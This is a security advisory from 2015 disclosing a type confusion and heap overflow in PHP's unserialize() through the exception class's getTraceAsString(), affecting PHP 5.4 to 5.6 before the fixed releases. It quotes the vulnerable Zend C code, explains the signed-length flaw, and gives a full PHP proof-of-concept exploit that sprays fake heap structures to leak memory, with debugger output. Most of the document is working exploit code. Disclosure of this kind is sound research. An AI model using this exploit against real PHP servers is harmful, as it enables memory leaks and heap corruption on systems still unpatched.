PHP Exception Type Confusion / Heap Overflow

Posted on 30 April 2015
# Type Confusion Infoleak and Heap Overflow Vulnerability in
unserialize() with exception

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.3.3
- Release Date: 2015.4.28

> A type confusion vulnerability was discovered in exception object's __toString()/getTraceAsString() method that can be abused for leaking arbitrary memory blocks or heap overflow.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.8
Affected is PHP 5.5 < 5.5.24
Affected is PHP 5.4 < 5.4.40

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------
```
ZEND_METHOD(exception, getTraceAsString)
{
 zval *trace;
 char *res, **str, *s_tmp;
 int res_len = 0, *len = &res_len, num = 0;

 DEFAULT_0_PARAMS;

 res = estrdup("");
 str = &res;

 trace = zend_read_property(default_exception_ce, getThis(), "trace",
sizeof("trace")-1, 1 TSRMLS_CC);
 zend_hash_apply_with_arguments(Z_ARRVAL_P(trace) TSRMLS_CC,
(apply_func_args_t)_build_trace_string, 3, str, len, &num);

 ...

static int _build_trace_string(zval **frame TSRMLS_DC, int num_args,
va_list args, zend_hash_key *hash_key) /* {{{ */
{
 char *s_tmp, **str;
 int *len, *num;
 long line;
 HashTable *ht = Z_ARRVAL_PP(frame);
 zval **file, **tmp;

 ...

 TRACE_APPEND_KEY("class");
 TRACE_APPEND_KEY("type");
 TRACE_APPEND_KEY("function");

 ...

#define TRACE_APPEND_KEY(key)
 
 if (zend_hash_find(ht, key, sizeof(key), (void**)&tmp) == SUCCESS) { 
 if (Z_TYPE_PP(tmp) != IS_STRING) { 
 zend_error(E_WARNING, "Value for %s is no string", key); 
 TRACE_APPEND_STR("[unknown]"); 
 } else { 
 TRACE_APPEND_STRL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp)); 
 } 
 }
```

The Z_ARRVAL_P macro leads to pointing a fake ZVAL in memory via a
fake HashTable and a fake Bucket. So we can supply a fake sring-type
ZVAL, and lookup arbitrary memory address via the Z_STRVAL_PP macro,
causing a crash or an information leak.

```
#define TRACE_APPEND_STRL(val, vallen) 
 { 
 int l = vallen; 
 *str = (char*)erealloc(*str, *len + l + 1); 
 memcpy((*str) + *len, val, l); 
 *len += l; 
 }
```

There is using signed integer arithmetic in erealloc(). The memcpy()
function's third parameter is a unsiged integer. The vallen can be
completely control and we can supply negative value via a fake
string-type ZVAL. So we can assign a value to val which is larger than
real allocated memory. The memcpy() will then copy more data than the
heap-based buffers can hold, causing a heap-based buffer overflow.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.10.3 installation of PHP 5.5.20.

```
<?php

ini_set("memory_limit", -1);

setup_memory();

$x = unserialize('O:9:"exception":1:{s:16:"'."".'Exception'."".'trace";s:'.strlen($hashtable).':"'.$hashtable.'";}');

echo $x, "
";

function setup_memory()
{
 global $str, $hashtable;

 $base = 0x114000000 + 0x20;
 $bucket_addr = $base;
 $zval_delta = 0x100;
 $hashtable_delta = 0x200;
 $zval_addr = $base + $zval_delta;
 $hashtable_addr = $base + $hashtable_delta;

 $bucket = "x01x00x00x00x00x00x00x00";
 $bucket .= "x00x00x00x00x00x00x00x00";
 $bucket .= ptr2str($bucket_addr + 3*8);
 $bucket .= ptr2str($zval_addr);
 $bucket .= ptr2str(0);
 $bucket .= ptr2str(0);
 $bucket .= ptr2str(0);
 $bucket .= ptr2str(0);
 $bucket .= ptr2str(0);

 $bucket .= ptr2str(zhash('class'));
 $bucket .= "x06x00x00x00x00x00x00x00";
 $bucket .= ptr2str($bucket_addr + 3*8 + 9*8);
 $bucket .= ptr2str($zval_addr + 5*8 + 6);
 $bucket .= ptr2str(0);
 $bucket .= ptr2str(0);
 $bucket .= ptr2str(0);
 $bucket .= ptr2str(0);
 $bucket .= ptr2str($zval_addr + 2*5*8 + 2*6);
 $bucket .= ptr2str($bucket_addr);
 $bucket .= ptr2str($bucket_addr + 9*8);

 $hashtable = "x00x00x00x00";
 $hashtable .= "x01x00x00x00";
 $hashtable .= "x03x00x00x00";
 $hashtable .= "x00x00x00x00";
 $hashtable .= "x00x00x00x00x00x00x00x00";
 $hashtable .= ptr2str(0);
 $hashtable .= ptr2str($bucket_addr);
 $hashtable .= ptr2str($bucket_addr + 9*8);
 $hashtable .= ptr2str($bucket_addr + 18*8);
 $hashtable .= ptr2str(0);
 $hashtable .= "x00";
 $hashtable .= "x00";

 $zval = ptr2str($hashtable_addr);
 $zval .= ptr2str(0);
 $zval .= "x00x00x00x00";
 $zval .= "x04";
 $zval .= "x00";
 $zval .= ptr2str(0);
 $zval .= ptr2str(0);
 $zval .= ptr2str(0);

 $zval .= ptr2str(0x100352572);
 $zval .= ptr2str(0x16);
 $zval .= "x00x00x00x00";
 $zval .= "x06";
 $zval .= "x00";
 $zval .= ptr2str(0);
 $zval .= ptr2str(0);
 $zval .= ptr2str(0);

 $zval .= ptr2str(hexdec(bin2hex(strrev('class'))));

 $part = str_repeat("x73", 4096);
 for ($j = 0; $j < strlen($bucket); $j++) {
 $part[$j] = $bucket[$j];
 }
 for ($j = 0; $j < strlen($hashtable); $j++) {
 $part[$j + $hashtable_delta] = $hashtable[$j];
 }
 for ($j = 0; $j < strlen($zval); $j++) {
 $part[$j + $zval_delta] = $zval[$j];
 }
 $str = str_repeat($part, 1024*1024*256/4096);
}

function ptr2str($ptr)
{
 $out = "";
 for ($i=0; $i<8; $i++) {
 $out .= chr($ptr & 0xff);
 $ptr >>= 8;
 }
 return $out;
}

function zhash($key)
{
 $hash = 5381;
 $key = $key;
 $len = strlen($key) + 1;

 for (; $len >= 8; $len -= 8) {
 for ($i = 0; $i < 8; $i++) {
 $hash = (($hash << 5) + $hash) + ord($key{$i});
 }
 }
 $key = substr($key, -$len);
 for ($i = 0; $i < $len; $i++) {
 $hash = (($hash << 5) + $hash) + ord($key{$i});
 }
 return $hash;
}

?>
```

Test the PoC on the command line, then output some memory blocks:

```
$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run tcpoc.php
Process 1825 launched: '/usr/bin/php' (x86_64)
exception 'Exception' in tcpoc.php:7
Stack trace:
#0 [internal function]: UH??AWAVSPI??I??H????()
#1 {main}
Process 1825 exited with status = 0 (0x00000000)
```
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